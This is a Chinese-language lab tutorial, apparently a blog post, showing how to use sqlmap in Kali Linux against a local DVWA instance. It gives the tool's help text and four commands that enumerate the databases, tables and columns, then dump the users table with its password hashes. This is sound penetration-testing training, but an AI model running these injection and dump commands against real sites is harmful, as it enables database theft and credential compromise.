在Kali Linux下使用sqlmap

Sqlmap是一款开源的命令行自动SQL注入工具。它能够对多种主流数据库进行扫描支持。

1.启动xampp

2.测试的网站是DVWA，security level设为medium，因为在sqlmap中安全等级设为low，medium，high都是一样的操作步骤。

3.启动Tamper Data(tools->tamper data)

4.测试一下

5.得到了request header

Host=127.0.0.1
User-Agent=Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.6.0
Accept=*/*
Accept-Language=en-US,en;q=0.5
Accept-Encoding=gzip, deflate
Referer=https://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit
Cookie=security=medium; PHPSESSID=hdunet1u4dhrgmjmmiemas0454

6.在终端用sqlmap

sqlmap的一些用法：

root@kali:~# sqlmap -h
Usage: python sqlmap [options]

Options:
  -h, --help            Show basic help message and exit
  -hh                   Show advanced help message and exit
  --version             Show program's version number and exit
  -v VERBOSE            Verbosity level: 0-6 (default 1)

  Target:
    At least one of these options has to be provided to define the
    target(s)

    -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")
    -g GOOGLEDORK       Process Google dork results as target URLs

  Request:
    These options can be used to specify how to connect to the target URL

    --data=DATA         Data string to be sent through POST
    --cookie=COOKIE     HTTP Cookie header value
    --random-agent      Use randomly selected HTTP User-Agent header value
    --proxy=PROXY       Use a proxy to connect to the target URL
    --tor               Use Tor anonymity network
    --check-tor         Check to see if Tor is used properly

  Injection:
    These options can be used to specify which parameters to test for,
    provide custom injection payloads and optional tampering scripts

    -p TESTPARAMETER    Testable parameter(s)
    --dbms=DBMS         Force back-end DBMS to this value

  Detection:
    These options can be used to customize the detection phase

    --level=LEVEL       Level of tests to perform (1-5, default 1)
    --risk=RISK         Risk of tests to perform (0-3, default 1)

  Techniques:
    These options can be used to tweak testing of specific SQL injection
    techniques

    --technique=TECH    SQL injection techniques to use (default "BEUSTQ")

  Enumeration:
    These options can be used to enumerate the back-end database
    management system information, structure and data contained in the
    tables. Moreover you can run your own SQL statements

    -a, --all           Retrieve everything
    -b, --banner        Retrieve DBMS banner
    --current-user      Retrieve DBMS current user
    --current-db        Retrieve DBMS current database
    --passwords         Enumerate DBMS users password hashes
    --tables            Enumerate DBMS database tables
    --columns           Enumerate DBMS database table columns
    --schema            Enumerate DBMS schema
    --dump              Dump DBMS database table entries
    --dump-all          Dump all DBMS databases tables entries
    -D DB               DBMS database to enumerate
    -T TBL              DBMS database table(s) to enumerate
    -C COL              DBMS database table column(s) to enumerate

  Operating system access:
    These options can be used to access the back-end database management
    system underlying operating system

    --os-shell          Prompt for an interactive operating system shell
    --os-pwn            Prompt for an OOB shell, Meterpreter or VNC

  General:
    These options can be used to set some general working parameters

    --batch             Never ask for user input, use the default behaviour
    --flush-session     Flush session files for current target

  Miscellaneous:
    --sqlmap-shell      Prompt for an interactive sqlmap shell
    --wizard            Simple wizard interface for beginner users

[!] to see full list of options run with '-hh'
root@kali:~# 

sqlmap -u 'http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit' --cookie='security=medium; PHPSESSID=hdunet1u4dhrgmjmmiemas0454' --dbs

sqlmap -u 'http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit' --cookie='security=medium; PHPSESSID=hdunet1u4dhrgmjmmiemas0454' -D dvwa --tables

sqlmap -u 'http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit' --cookie='security=medium; PHPSESSID=hdunet1u4dhrgmjmmiemas0454' -D dvwa -T users --columns

sqlmap -u 'http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit' --cookie='security=medium; PHPSESSID=hdunet1u4dhrgmjmmiemas0454' -D dvwa -T users --columns --dump

sqlmap的--dump选项，可以轻易的获得后台数据库的所有用户账户名和口令哈希。